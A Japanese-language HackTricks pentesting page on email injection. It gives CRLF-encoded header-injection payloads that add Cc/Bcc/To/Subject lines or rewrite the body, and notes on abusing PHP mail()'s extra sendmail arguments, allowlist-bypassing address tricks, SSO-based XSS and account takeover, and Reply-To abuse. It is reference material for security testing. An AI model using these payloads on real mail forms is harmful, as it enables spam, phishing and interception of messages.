hacktricks/pentesting-web/email-injections.md

175 lines
11 KiB
Markdown
Raw Normal View History

# Email Injections
2022-04-28 16:01:33 +00:00
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
2022-08-31 22:35:39 +00:00
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築し、自動化**します。\
今すぐアクセスを取得:
2022-08-31 22:35:39 +00:00
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
2022-04-28 16:01:33 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
## 送信されたメールに注入する
### 送信者引数の後にCcとBccを注入する
```
From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
```
メッセージは受信者とrecipient1アカウントに送信されます。
### Inject argument
```
From:sender@domain.com%0ATo:attacker@domain.com
```
メッセージは元の受信者と攻撃者のアカウントに送信されます。
### Subject引数のインジェクト
```
From:sender@domain.com%0ASubject:This is%20Fake%20Subject
```
偽の件名は元の件名に追加され、場合によってはそれを置き換えます。これはメールサービスの動作に依存します。
### メッセージの本文を変更する
二行の改行を挿入し、その後にメッセージを書いてメッセージの本文を変更します。
```
From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
```
### PHP mail() 関数の悪用
```bash
# The function has the following definition:
php --rf mail
Function [ <internal:standard> function mail ] {
- Parameters [5] {
Parameter #0 [ <required> $to ]
Parameter #1 [ <required> $subject ]
Parameter #2 [ <required> $message ]
Parameter #3 [ <optional> $additional_headers ]
Parameter #4 [ <optional> $additional_parameters ]
}
}
```
#### 5番目のパラメータ ($additional\_parameters)
このセクションは、**攻撃者がこのパラメータを制御していると仮定した場合の悪用方法**に基づいています。
このパラメータは、PHPがバイナリsendmailを呼び出すために使用するコマンドラインに追加されます。ただし、`escapeshellcmd($additional_parameters)`関数でサニタイズされます。
この場合、攻撃者は**sendmail用の抽出パラメータを注入**することができます。
#### /usr/sbin/sendmailの実装の違い
**sendmail**インターフェースは、システムにインストールされている**MTAメールソフトウェア**Sendmail、Postfix、Eximなどによって提供されます。基本的な機能-t -i -fパラメータなどは互換性の理由から**同じ**ですが、**他の機能やパラメータ**はインストールされているMTAによって大きく異なります。
以下は、sendmailコマンド/インターフェースの異なるマニュアルページのいくつかの例です:
* Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html
* Postfix MTA: http://www.postfix.org/mailq.1.html
* Exim MTA: https://linux.die.net/man/8/eximReferences
**sendmail**バイナリの起源に応じて、悪用するためのさまざまなオプションが発見され、**ファイルを漏洩させたり、任意のコマンドを実行したり**することができます。詳細は[**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)を確認してください。
## Eメール名への注入
### Eメールの無視される部分
記号:**+、-**および**{}**は、稀にタグ付けに使用され、ほとんどのEメールサーバーによって無視されることがあります。
*john.doe+intigriti@example.com → john.doe@example.com
**括弧()内のコメント**は、先頭または末尾にある場合も無視されます。
*john.doe(intigriti)@example.com → john.doe@example.com
### ホワイトリストバイパス
<figure><img src="../.gitbook/assets/image (812).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### 引用符
<figure><img src="../.gitbook/assets/image (626).png" alt="https://www.youtube.com/watch?app=desktop&#x26;v=4ZsTKvfP1g0"><figcaption></figcaption></figure>
### IP
IPを角括弧で囲んでドメイン名として使用することもできます
* john.doe@\[127.0.0.1]
* john.doe@\[IPv6:2001:db8::1]
### その他の脆弱性
![https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](<../.gitbook/assets/image (1131).png>)
## サードパーティSSO
### XSS
**github**や**salesforce**のような一部のサービスでは、**XSSペイロードを含むEメールアドレスを作成**することができます。これらのプロバイダーを使用して他のサービスにログインでき、これらのサービスがEメールを正しくサニタイズしていない場合、**XSS**を引き起こす可能性があります。
### アカウント乗っ取り
**SSOサービス**が**与えられたEメールアドレスを確認せずにアカウントを作成**できる場合(**salesforce**のように)、そのアカウントを使用して**salesforceを信頼する別のサービスにログイン**できると、任意のアカウントにアクセスできる可能性があります。\
_salesforceは、与えられたEメールが確認されたかどうかを示しますが、アプリケーションはこの情報を考慮する必要があります。_
## Reply-To
_**From: company.com**_を使用してメールを送信し、_**Replay-To: attacker.com**_を設定すると、内部アドレスから送信されたために**自動返信**が送信される場合、**攻撃者**はその**応答**を**受け取る**ことができるかもしれません。
## ハードバウンス率
AWSのような特定のサービスは、**ハードバウンス率**として知られる閾値を実装しており、通常は10%に設定されています。これは、特にEメール配信サービスにとって重要な指標です。この率を超えると、AWSのEメールサービスなどのサービスが停止またはブロックされる可能性があります。
**ハードバウンス**は、受信者のアドレスが無効または存在しないために送信者に返送された**Eメール**を指します。これは、**Eメール**が存在しないアドレスに送信されたり、実在しないドメインに送信されたり、受信者サーバーが**Eメール**の受け入れを拒否したりするなど、さまざまな理由で発生する可能性があります。
AWSの文脈では、1000通のEメールを送信し、そのうち100通がハードバウンス無効なアドレスやドメインなどの理由によるした場合、これは10%のハードバウンス率を意味します。この率に達するか、超えると、AWS SESSimple Email ServiceがEメール送信機能をブロックまたは停止する可能性があります。
中断のないEメールサービスを確保し、送信者の評判を維持するために、低いハードバウンス率を維持することが重要です。メールリスト内のEメールアドレスの質を監視および管理することは、これを達成するのに大いに役立ちます。
詳細な情報については、AWSの公式ドキュメントでバウンスと苦情の処理に関する情報を参照できます[AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types)。
## 参考文献
* [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
* [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html)
* [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view)
* [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
\
[**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=email-injections)を使用して、世界で最も高度なコミュニティツールによって駆動される**ワークフローを簡単に構築および自動化**します。\
今すぐアクセスを取得:
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=email-injections" %}